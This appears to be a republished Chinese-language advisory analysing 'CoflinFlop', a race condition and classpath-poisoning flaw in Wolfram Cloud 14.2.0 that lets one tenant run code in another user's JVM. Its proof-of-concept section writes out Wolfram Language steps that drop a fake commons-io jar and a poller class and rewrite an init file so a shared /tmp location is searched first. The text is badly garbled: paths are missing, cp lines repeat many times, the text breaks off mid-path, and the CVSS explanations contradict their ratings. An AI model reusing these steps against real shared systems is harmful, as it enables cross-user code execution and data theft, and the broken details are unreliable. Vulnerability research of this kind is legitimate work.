Wolfram Cloud 14.2.0 竞态条件与类路径注入漏洞(CoflinFlop)分析

漏洞概述 漏洞名称: CoflinFlop 漏洞类型: 竞态条件、不安全的临时文件处理、类路径注入（类路径中毒）、权限提升 目标系统: Wolfram Cloud 14.2.0 for Linux x86 (64-bit) (2024年12月26日修复于14.2.1) 影响: 攻击者可以在多租户云环境中利用Java虚拟机（JVM）初始化期间的竞态条件，通过共享 目录中的恶意 （或类似常用库）来毒化类路径。这允许攻击者在另一个用户启动JVM的上下文中实现任意代码执行。 CVSS v3.1评分: 7.4 (高) 影响范围 攻击向量 (AV): 网络 (N) - 在共享云环境中可利用，进程共享 目录。 攻击复杂度 (AC): 高 (H) - 通过可预测的行为利用，无需高级技术。 所需权限 (PR): 低 (L) - 攻击者需要基本的共享环境访问权限。 用户交互 (UI): 需要 (R) - 无需受害者行动。 范围 (S): 改变 (C) - 攻击影响其他用户的数据/代码超出攻击者权限。 机密性 (C): 高 (H) - 私有用户数据可被读取/提取。 完整性 (I): 高 (H) - 攻击者可以使用其他用户的环境或结果。 可用性 (A): 低 (L) - JVM环境可能被破坏。 技术细节 漏洞起源: 漏洞源于 JVM对共享 目录中临时资源的无限制访问。默认JVM可以访问 目录下的几乎所有文件和目录，包括其他用户的 （ ）。 通常不存储敏感信息。 可利用的竞态条件: 在JVM启动期间， 文件存在于易受攻击的目录中。由于竞态条件，具有 空间访问权限的攻击者可以抢先创建或替换 文件或目录（通过 文件），使受害JVM在其类路径中首先解析该文件。 类路径中毒: 通过在类路径中包含的常见库（如 ）的位置放置恶意版本，攻击者可以在JVM加载恶意类时执行其代码。 漏洞原因: 不安全的共享和全局可写目录用于临时或可执行文件；缺乏适当的隔离或沙箱机制；资源创建和JVM类路径初始化之间的可利用竞态条件。 概念验证 (POC) 攻击者笔记本/环境 FilePoller.java NullOutputStream.java 初始化文件 `` "] InstallJava[] (Section for base64 encoded binaries because free cloud accounts dont have upload) pollerBin = "[Base64 encoded FilePoller.class]" jarBin = "[Base64 encoded Fakecommonsio.jar]" (Export the poller and fake commons binaries) Export[FileNamesJoin[{$HomeDirectory,"Fakecommonsio.jar"},BaseDecode[jarBin],"Binary"], Export[FileNamesJoin[{$HomeDirectory},"FilePoller.class"],BaseDecode[pollerBin],"Binary"]] (Write new -init file with shared loc as first classpath) JavaBlock[ LoadJavaClass["java.io.FileOutputStream"]; stream = JavaNew["java.io.FileOutputStream", "/tmp/UserTemporaryFiles/000/[redacted]/replacement.txt"]; stream@write[{"CharacterCode"]["cp /tmp/UserTemporaryFiles/[redacted]/"]]; cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Links/DatabaseLink/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Links/MLLink/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/Chemistry/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/ClusterIntegration/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/DocumentationSearch/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/LightweightGridClient/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/Chemistry/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/ClusterIntegration/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/DocumentationSearch/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/LightweightGridClient/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/Chemistry/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/ClusterIntegration/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/DocumentationSearch/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/LightweightGridClient/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/Chemistry/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/ClusterIntegration/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/DocumentationSearch/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/LightweightGridClient/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/Chemistry/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/ClusterIntegration/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/DocumentationSearch/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/LightweightGridClient/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/Chemistry/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/ClusterIntegration/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/DocumentationSearch/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/LightweightGridClient/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/Chemistry/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/ClusterIntegration/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/DocumentationSearch/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/LightweightGridClient/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/Chemistry/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/ClusterIntegration/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Components/DocumentationSearch/Java/ cp /usr/local/Wolfram/WolframEngine/14.2.0.11186439/SystemFiles/Compone

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Wolfram Cloud 14.2.0 竞态条件与类路径注入漏洞(CoflinFlop)分析

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Wolfram Cloud 14.2.0 竞态条件与类路径注入漏洞(CoflinFlop)分析

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！